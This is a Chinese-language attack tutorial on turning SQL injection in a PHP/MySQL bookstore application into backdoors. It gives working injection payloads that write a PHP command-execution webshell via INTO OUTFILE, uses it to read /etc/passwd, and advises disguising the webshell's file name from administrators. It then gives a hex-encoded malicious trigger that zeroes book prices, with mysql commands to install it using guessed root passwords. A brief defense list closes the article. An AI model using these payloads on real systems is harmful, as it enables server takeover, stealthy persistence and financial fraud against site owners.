利用SQL注入制造一个后门-通过触发器-不能多语句查询--

0×01, 介绍

0×02, 什么是 Sql Injection

0×03, 一个系统后门 (OS)Backdoor

这篇文章的目的是利用 Sql Injection 执行各种各样的命令最终控制操作系统。为了运行系统命令,我们需要一个 CMD shell, 或者需要执行一些代码使得我们可以执行 OS 命令。让我们分别尝试一下这两种方法。

0×04, 获得一个 OS Shell

现在我们将写我们自己的代码使之可以让我们运行任意 OS 命令来控制操作系统。所以,从之前的文章中我们已经知道搜索部分的变量存在 Sql Injection 并且在 question 表中存在 4 个列名。作为提示,语句 Harry Potter’ union select 1,2,3,4# 将会出现错误:

现在,我们想插入可以执行系统命令的 PHP 代码。为了实现这个目的,我们使用 MYsql 提供的 INTO OUTFILE 特性。使用 Using INTO OUTFILE 可以将查询的输出重定向到系统的文件中去。真因为如此,我们可以执行 Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’# ,然后字符串 ‘TEXT INTO FILE’ 将会被存储在目录 /tmp 下的 blah.txt 中。 如图:

现在我们将  ‘TEXT INTO FILE’ 替换成基本的 PHP 代码使之可以读取 URL 的参数来执行系统命令控制操作系统。我们使用这样的语句:  Harry Potter’ union select “<?system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# ,如图:

就是这样!但是还出现了很多我们根本不关心的书籍的内容。所以我调整了我的查询语句为:

‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# 并再次执行。

尽管这回还是返回了 2 3 ,但是好多了。

现在我们访问 execcmd.php 并把命令 [cat /etc.passwd] 传递给我们想提交执行的参数。

成功了。通过我多次的尝试,这里有几点需要注意的事情。

运行这条语句的数据库用户需要拥有 FILE 权限,否则不能执行 INTO OUTFILE 命令

MySQL 服务运行的主机中必须存在一个可写的 Web 目录,否则你不能访问你刚刚上传的 Webshell 。你可以将代码写入到总是可写的目录像 /ttmp ,但是你没有权限访问它。

一种简单的方式来实现 OS Shell 是使用 SQLMap 内置的特性。如果你读过我之前的文章,你会记得我使用过 SQLMap 。让我们通过 SQLMap 来完成同样的事情。

下面的 OS shell 截图是在使用 SQLMap 进行注入时加入了一个简单的参数并且在提示处选择了 PHP Web Shell 而获得的。

运行一个命令来检查我们是否已经获得了一个 Shell OK ,没问题。

这实在是太容易了。

不幸的是,从 破坏者 的角度来看这也同样是简单的。

现在有了这么简单快捷的方法你肯定不想再用之前的方法了,但是知道手动利用的方法总是有帮助的(这样当使用工具失败时你可以有另外的方法)。还有一件事需要注意,难获得了一 WebShell 时,请使用一个和 Web 目录中已经存在的文件十分相似的名字去命名。这会帮助你隐藏你的 WebShell 使之不会被管理员不经意间轻易的发现。

在开始下一类 Backdoor 之前,我将向你展示隐藏 SQLMap 的方法。你可以通过设置代理来运行 SQLMap

然后当 SQLMap 将实际的 WebShell 上传到可写目录的时候, brupSuite 会拦截到一些请求,让我们看一下这些请求。

我们能看到一些熟悉的东西。让我们通过 URL decode 来确定一下。看一下在底部面板的蓝色高亮的部分。它显示出 SQLMap 正在使用 INTO OUTFILE 命令,和我们之前人工使用的方法是一样的。

最后,我们看一下 SQLMap 上传 WebShell 的内容,非常有意思,看一下底部的面板。

这就是关键,工具再一次的大大简化了我们本该花费大量时间进行的繁琐工作。

0×05, 一个数据库后门 (Database backdoor)

现在我们知道一个 OS 后门可以在 Web 应用存在 SQL Injection 时被植入到系统中。现在让我们看看如何在数据库中植入一个后门吧。在我们继续之前,我们需要一些了解一下 backdoor function 的相关知识。在 OS backdoor 中,我们直接访问了后门并且传递给它了一个命令;但在这里却并不会那么直接。当我们每一个插入的操作执行时,我们配置的后门会改变数据库 中一些敏感数据的值。所以,每一本书在添加到数据库中时价格会被我们的后门设置成 0 ,以至于人们可以免费 购买 这些书籍。这在真实的环境中可能会很快被 发现。

所以我们在数据库中有一些叫做 触发器 的东西,基本的意思就是 ——“ 当某些我们希望发生的事情发生时,触动触发器去做另外一些事情 。这描述的确 实太模糊了,然我们举一个更明显的例子。假如你是一个警察,某一时刻你看到一个连环杀手,你扣动扳机并且发射出一枚子弹对么?那么把他转换为我们之前的场 —— 有一个 INSERT 语句 (杀手),一个 Database trigger ( 枪手 ) 开火了,那么动作 ( action) 就是释放你之前已经配置 (configured) 好的子弹 (bullet)

下面使我们要写的一个 MySQL 触发器的例子:<可以在mysql.user表中插入触发器>,但是不能使用多语句查询

标准:

      
  1. CREATE TRIGGER SetUserHome before insert ON users
  2. FOR EACH ROW
  3. BEGIN
  4. set New . homeLocationX = 128 ;
  5. set New . homeLocationY = 128 ;
  6. set New . homeLocationZ = 30 ;
  7. END

      
  1. delimiter #     //修改注释符为#
  2. CREATE TRIGGER price BEFORE INSERT ON books
  3. for each row begin
  4. set new . price =’ 0 ′;
  5. end ;#
  6. delimiter ;

删除:

      
  1. DROP TRIGGER [ schema_name .] trigger_name

b) 无论任何时候如果我们执行一个 Insert 语句,比如假如一本书,那么我们设置其价格为 0. 下面是它的意思:

a) 设置默认的 MySQL 分隔符为 ’#' ,因为默认的分隔符是 ’;' MySQL 作为特殊字符处理了,而我们需要将其作为数据处理。所以我们改变分隔符为 ’#' ,表示 ’#' 现在有一个特殊的含义。

c) 终止触发器并将分隔符重置为 ’;'

然我们使用 Sql Injection 将触发器复制到服务器上。下面是要作为搜索框输入的语句:

      
  1. Harry Potter AND 1 = 0 union select 0 × 20 , 0 × 20 , 0 × 20 INTO OUTFILE ‘/ var / www / test / g2 LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a736574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b #

我会快速解释一下这个查询语句 因为即使看起来它很复杂 其实不然。我们使用 1=0 因为我们对关于《 Harry Potter 》的查询结果并不感兴趣。 0×20 的位置只是查询了三次空格 ’space’ ;这是为了我可以仅仅得到想要重定向到文件 ’/var/www /test.g2′ 中的内容。然后 LINES TERMINATED BY 后面的部分是整个触发器使用 hex 函数转换后的形式 ( 我是用的是 Brup Decoder ,不要坐在那儿浪费时间去手工转化它 )

让我们运行一下看看会在文件 /var/www/test/g2 中出现什么。

你注意到了最开始的几个空格了么?这就是我们之前看到的 select 0×20,0×20,0×20 的作用。之后的内容就显而易见了。

现在我们以某种方式执行这个查询,然后我们的触发器会在每次一本书被插入时激活,这里有三种实现的方法。

a) 多语句查询 (Stacked Queries)—Harry Potter’ UNION blah blah blah;source /var/www/test/g2 但是这事实上不会成功执行,因为 PHP+MySQL 不支持多语句查询。

b) 滥用 MySQL 默认触发器行为 (Abusing MySQL default trigger behavior)— 这种方法我还没有测试过,不过在 Stefano Di Paola 的文章中被描述的非常清楚。尝试一下吧,我找时间也会测试一下。

c) 使用 SQL Injection 工具比如 SQLMap 运行我们存放在 /var/www/test/g2 中保存的触发器。这是我们将要测试的方法。

我们来再次运行 SQLMap 并获得一个我们可以运行触发器的 SQL shell

看最后一行。不幸的是,只有当支持多语句查询时,这种方法才可以执行。这意味着上面的选项 a c 意味着同一种情况。让我们通过代理来查看 SQLMap 的请求。

让我们在 Sql-shell 中执行一个简单的创建新数据库的语句 —”create database boo;” 并在 Brup 中查看。

我们可以看到, SQLMap 尝试将它转换为一个 SELECT 查询。这将永远不会执行成功。从 Burp 相应的内容证实了这一点。

我能想到的唯一一种能够顺序执行我们的查询的可行办法包含以下几个步骤:

猜解一个有效 MySQL 用户的密码。例如,你猜到 root 的密码是 test123

注入一个 OS webshell 后门。

注入一个类似之前格式的触发器。

现在通过在 Webshell 中运行 MySQL 命令来安装触发器。

我有几张截图来说明为什么这样是可行的。为了照顾初学者,这里有张截图表名当前不存在任何触发器。

假设我们已经猜解到了用户名和密码 root toor (通过 Blind SQL 暴力猜解 mysql.user 表)。现在我们反向 Web shell 并传递一个命令:

mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2

现在我们再来看一下数据库。

看到了我们的触发器。

现在我们来运行一个 INSERT 查询来检查我们的触发器是否会运行。然后所有 Jeffrey Archer 的书的价格会变得非常不可思议。

现在执行查询:

看最后一行。某些人可以不用支付他本认为应该支付的价格了。

现在我们直接执行一个 INSERT 查询来控制数据库。在真实环境中将会有一个表单来添加书籍,在后端很可能会有一个 INSERT 查询,这时触发器很有可能被触发执行。这是我没有创建另外一个表单的唯一原因。

明显地,一个大前提是我们能够猜解数据库的用户名和密码。下面有一个简单的思路可以让你实现这个目的。

想一些常用的数据库用户名(比如 MySQL root )或者通过社会工程学获得一些。

—MySQL 密码是通过哈希加密的,并不是明文。

你可以通过以下两种方式破解密码:

通过 SQL Injection 将密码的 Hash 与密码明文列表对比。(参考我之前的文章)

WebShell 中通过密码明文列表和一个特定的用户名来运行触发器。你可以写一个 Perl 或者 Ruby 脚本来为你做这些事情。尝试在遍历完明文密码列表之后插入一本书,或者在每次猜解后找出那个密码是正确的。

    mysql -uroot -ptoor blindsql_test< /var/www/test/g2

    mysql -uroot -proot blindsql_test< /var/www/test/g2

    mysql -uroot -ptest blindsql_test< /var/www/test/g2

    mysql -uroot -ppassword blindsql_test< /var/www/test/g2

0×07, 推荐的防御措施

a) 使用参数化查询来防御 SQL 注入攻击。

b) 不要在 Web 目录中存在大量可写目录。

c) 限制 Web 应用在后端查询数据库的用户的权限。为了实现这一点,不要给其分配 FILE 权限。

d) 设置复杂的数据库密码和健壮的密码策略。

0×08, 结论

这个问题的根源,是 Web 应用存在 Sql 注入弱点。修复它将会阻止这种威胁的发生。然而,知道不同的植入后门的方法还是有益的。许多恶意软件将会通过这种方式传播;也需要采取措施来防止它们。

0×09, 参考

High level overview: http://www.blackhatacademy.org/security101/SQL_Backdoors

Blind SQL Injection: http://resources.infosecinstitute.com/blind-sql-injection/

Select into a file: http://dev.mysql.com/doc/refman/5.0/en/select-into.html

Triggers:

http://dev.mysql.com/doc/refman/5.0/en/triggers.html

http://dev.mysql.com/doc/refman/5.0/en/create-trigger.html

http://dev.mysql.com/doc/refman/5.0/en/drop-trigger.html

Burp Decoder: http://portswigger.net/burp/help/decoder.html

Execute SQL commands from a text file: http://dev.mysql.com/doc/refman/5.0/en/batch-commands.html

Create a new user: http://dev.mysql.com/doc/refman/5.1/en/create-user.html

Automate web requests with Perl: http://search.cpan.org/~gaas/libwww-perl-6.03/lib/LWP/Simple.pm